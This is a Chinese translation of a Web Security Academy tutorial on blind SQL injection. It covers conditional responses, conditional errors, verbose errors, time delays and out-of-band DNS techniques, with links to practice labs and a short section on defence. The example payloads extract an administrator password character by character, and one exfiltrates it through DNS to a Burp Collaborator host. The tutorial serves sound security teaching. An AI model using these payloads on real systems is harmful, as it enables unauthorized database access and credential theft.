> For the complete documentation index, see [llms.txt](https://web-sec.gitbook.io/wsa/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://web-sec.gitbook.io/wsa/server-side/sql-injection/blind.md).

# SQL盲注

在这一节中，我们将描述什么是SQL盲注，并解释发现和利用SQL盲注漏洞的各种技术。

## 什么是SQL盲注？

SQL盲注是指当应用程序容易受到SQL注入的攻击，但其HTTP响应不包含相关SQL查询的结果或任何数据库错误的详细信息。

对于SQL盲注漏洞，诸如UNION攻击之类的许多技术都不会起作用，这是因为这些技术都依赖于应用程序响应中返回注入查询的结果。但仍然可以利用SQL盲注访问未授权的数据，只是必须采用不同的技术。

## 通过触发条件响应来利用SQL盲注

考虑一个应用程序，它使用追踪Cookie来收集有关使用情况的分析数据。该应用程序的请求包含一个像这样的Cookie标头：

```http
Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4
```

当一个包含`TrackingId` Cookie的请求被处理时，应用程序使用以下SQL查询来确定该用户是否为已知用户：

```sql
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'
```

此查询容易受到SQL注入的攻击，但查询的结果不会返回给用户。然而，应用程序的行为确实有所不同，这取决于查询是否返回任何数据。如果返回数据（因为提交了一个已知的`TrackingId`），则页面上将显示“Welcome back”的消息。

这种行为足以能够利用SQL盲注漏洞，根据注入的条件，有条件地触发不同的响应来检索信息。为了了解它是如何工作的，假设发送了两个请求，这些请求依次包含以下`TrackingId` Cookie值：

```sql
…xyz' AND '1'='1
…xyz' AND '1'='2
```

第一个值将导致查询返回结果，因为注入的条件`AND '1'='1`为真，页面将显示“Welcome back”的消息。而第二个值不会返回任何查询结果，因为注入的条件为假，页面不会显示“Welcome back”的消息。这就使得我们能够确定任何单个注入条件的答案，从而逐位提取数据。

例如，假设数据库存在一个`Users`表，该表有`Username`和`Password`两列，并且表存储了用户名为`Administrator`的一条数据。我们可以通过发送一系列输入来逐个字符地测试密码，从而系统地确定该用户的密码。

为此，我们从如下输入开始：

```sql
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm
```

页面将返回“Welcome back”的消息，表明注入的条件为真，因此密码的第一个字符要比`m`大。

下一步，我们发送如下输入：

```sql
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't
```

页面没有返回“Welcome back”消息，表明注入的条件为假，因此密码的第一个字符不大于`t`。

最终，我们发送如下输入，页面返回“Welcome back”消息，这就可以确定密码的第一个字符是`s`：

```sql
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's
```

我们可以继续这个过程，来系统地确定`Administrator`用户的完整密码。

> **注意**
>
> `SUBSTRING`函数在某些类型的数据库中称为`SUBSTR`。有关详细信息，请参见[SQL注入速查表](/wsa/server-side/sql-injection/cheat-sheet.md)。

> **LAB**
>
> [带条件响应的SQL盲注](https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses)

## 基于错误的SQL注入

基于错误的SQL注入是指你能够使用错误消息从数据库中提取或推断出敏感数据的情况，即使在盲注的环境中也是如此。这种可能性在很大程度上取决于数据库的配置和你能够触发的错误类型：

* 你也许能够通过基于布尔表达式的结果诱使应用程序返回特定的错误响应。可以像前一节中介绍的条件响应一样利用这一点。有关更多信息，请参阅通过触发条件错误来利用SQL盲注。
* 你也许能够触发输出查询返回的数据的错误消息。这将使得原本是SQL盲注的漏洞转变为“可见”的漏洞。有关更多信息，请参阅通过详细的SQL错误消息来提取敏感数据。

## 通过触发条件错误来利用SQL盲注

假设应用程序依然执行前面示例中的SQL查询，但无论查询是否返回任何数据，其行为都不会有任何不同。这样前面的技术就失效了，因为注入不同的布尔条件对应用程序的响应没有影响。

在这种情况下，通常可以根据注入条件，有条件地触发SQL错误来诱使应用程序返回条件响应。这涉及修改查询，以便在条件为真时引起数据库错误，而条件为假时则不会导致数据库错误。很多时候，数据库引发的未处理错误会导致应用程序的响应有所不同（如错误信息），从而使我们能够推断出注入条件的真实性。

要查看其工作原理，假设有两个请求被发送，这些请求依次包含以下`TrackingId` Cookie值：

```sql
xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a
```

这些输入使用`CASE`关键字来测试条件，并根据表达式是否为真来返回不同的表达式。对于第一条输入，`CASE`表达式将被评估为`'a'`，这不会引起任何错误。第二条输入中，表达式为`1/0`，这会触发数据库的被零除错误。假设这个错误导致应用程序的HTTP响应有所不同，我们便可以根据这种差异来推断注入的条件是否为真。

使用这项技术，再结合之前描述过的手法，我们就可以系统地逐位检索数据：

```sql
xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a
```

> **注意**
>
> 触发条件错误的方法有很多种，不同的技术适用于不同的数据库类型。更多细节，请参见[SQL注入速查表](/wsa/server-side/sql-injection/cheat-sheet.md)。

> **LAB**
>
> [带条件错误的SQL盲注](https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors)

## 通过详细的SQL错误消息来提取敏感数据

数据库的错误配置有时会导致详细的错误消息。这些错误消息可能提供对攻击者有用的信息。例如，请考虑以下错误消息，该消息在向`id`参数注入单引号后发生：

```sql
Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = '''. Expected char
```

这显示了应用程序使用我们的输入构造的完整查询。因此，我们可以看到我们要注入的上下文，即在`WHERE`语句中的单引号字符串内。使得更容易构造一个包含恶意有效载荷的有效查询。在这种情况下，我们可以看到注释掉查询的其余部分将防止多余的单引号破坏语法。

有时，你也许能够诱使应用程序生成错误消息，其中包含查询返回的一些数据。这将使得原本是SQL盲注的漏洞变为一个“可见”的漏洞。

实现此目的的一种方法是使用`CAST()`函数，该函数使你能够将一种数据类型转换为另一种数据类型。例如，考虑包含以下语句的查询：

```sql
CAST((SELECT example_column FROM example_table) AS int)
```

通常，要读取的数据是一个字符串。尝试将其转换为不兼容的数据类型，例如`int`，可能会导致类似以下的错误：

```sql
ERROR: invalid input syntax for type integer: "Example data"
```

如果由于对查询施加的字符限制而无法触发条件响应，则此类查询也可能很有用。

> **LAB**
>
> [可见的基于错误的SQL注入](https://portswigger.net/web-security/sql-injection/blind/lab-sql-injection-visible-error-based)

## 通过触发时间延时来利用SQL盲注

在前面的一些示例中，我们已经了解了如何利用应用程序未能正确处理数据库错误的方式进行攻击。但是，如果应用程序捕获这些错误并妥善处理它们会怎样呢？当执行注入的SQL查询时，触发数据库错误不再导致应用程序的响应出现任何差异，因此之前诱导条件错误的技术将无法起效。

在这种情况下，通常可以通过有条件地触发时间延时来利用SQL盲注漏洞，具体取决于注入条件。由于SQL查询通常由应用程序同步处理，因此延时执行SQL查询也会延迟HTTP响应。这使我们可以根据收到HTTP响应之前所花的时间来推断注入条件的真实性。

触发时间延时的技术高度依赖所使用的数据库类型。在Microsoft SQL Server中，可以使用类似以下的输入来测试条件并根据表达式是否为真来触发延时：

```sql
'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--
```

其中第一个输入将不会触发延时，因为条件`1=2`为假，第二个输入将触发10秒的延时，因为条件`1=1`为真。

使用这种技术，我们可以用已经描述过的方式来检索数据，系统地逐个字符测试：

```sql
'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--
```

> **注意**
>
> 在SQL查询中触发时间延时的方法有很多种，不同的技术适用于不同类型的数据库。更多细节，请参见[SQL注入速查表](/wsa/server-side/sql-injection/cheat-sheet.md)。

> **LAB**
>
> [带时间延时的SQL盲注](https://portswigger.net/web-security/sql-injection/blind/lab-time-delays)

> **LAB**
>
> [带时间延时和信息检索的SQL盲注](https://portswigger.net/web-security/sql-injection/blind/lab-time-delays-info-retrieval)

## 使用带外（OAST）技术利用SQL盲注

现在，假设应用程序执行相同的SQL查询，但它是异步执行的。应用程序继续在原始线程中处理用户的请求，并使用另一个线程执行使用追踪Cookie的SQL查询。该查询依然易受到SQL注入的攻击，但是到目前为止所介绍的技术都不起作用：应用程序的响应并不取决于查询是否返回任何数据，也不取决于数据库是否发生错误，更不取决于执行查询所花费的时间。

在这种情况下，通常可以通过触发带外网络交互到你控制的系统来利用SQL盲注漏洞。如前所述，可以根据注入的条件有条件地触发这些操作，逐位推断信息。但更强大的是，数据可以直接在网络交互本身中被渗出。

可以使用多种网络协议来实现此目的，但最有效的通常是DNS（域名服务）。这是因为很多生产网络都允许DNS查询自由发出，因为它们对于生产系统的正常运行是必不可少的。

使用带外技术最简单最可靠的方法是使用Burp Collaborator。这是一个提供各种网络服务（包括DNS）自定义实现的服务器，并允许你检测何时由于将单个有效负载发送给易受攻击的应用程序而发送的网络交互。Burp Suite Professional内置对Burp Collaborator的支持，无需进行配置。

触发DNS查询的技术高度依赖所使用的数据库类型。在Microsoft SQL Server中，可以使用如下输入来在指定域上引起DNS查找：

```sql
'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--
```

这将导致数据库执行以下域名的查找：

```sql
0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net
```

你可以使用Burp Collaborator生成一个唯一的子域并轮询Collaborator服务器，以确认何时发生任何DNS查找。

> **LAB**
>
> [带外交互的SQL盲注](https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band)

在确定了触发带外交互的方法后，就可以使用带外通道从易受攻击的应用程序中窃取数据。例如：

```sql
'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--
```

此输入读取`Administrator`用户的密码，附加一个唯一的Collaborator子域，并触发DNS查找。这将导致类似如下所示的DNS查找，从而使你能够查看捕获的密码：

```sql
S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net
```

带外（OAST）技术是检测和利用SQL盲注的一种非常强大的方法，因为该方法成功的可能性很高，并且能够直接在带外通道中窃取数据。因此，即使在其他盲注利用技术确实起作用的情况下，OAST技术通常也是首选的。

> **注意**
>
> 触发带外交互的方法有多种，不同的技术适用于不同类型的数据库。更多详情，请参见[SQL注入速查表](/wsa/server-side/sql-injection/cheat-sheet.md)。

> **LAB**
>
> [带外数据渗出的SQL盲注](https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band-data-exfiltration)

## 如何防范SQL盲注攻击

尽管发现和利用SQL盲注漏洞所需的技术与常规的SQL注入有所不同且更为复杂，但无论该漏洞是否为盲注，防范SQL注入所需的措施都是一样的。

与常规的SQL注入一样，可以通过谨慎使用参数化查询来防范SQL盲注攻击，从而确保用户的输入不会干扰预期的SQL查询的结构。

> **阅读更多**
>
> [如何防范SQL注入](https://github.com/0xf4n9x/Web_Security_Academy-zh/blob/master/server-side/sql-injection/sql-injection.md#如何防范SQL注入)
>
> [使用Burp Suite的Web漏洞扫描器发现SQL盲注漏洞](https://portswigger.net/burp/vulnerability-scanner)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://web-sec.gitbook.io/wsa/server-side/sql-injection/blind.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
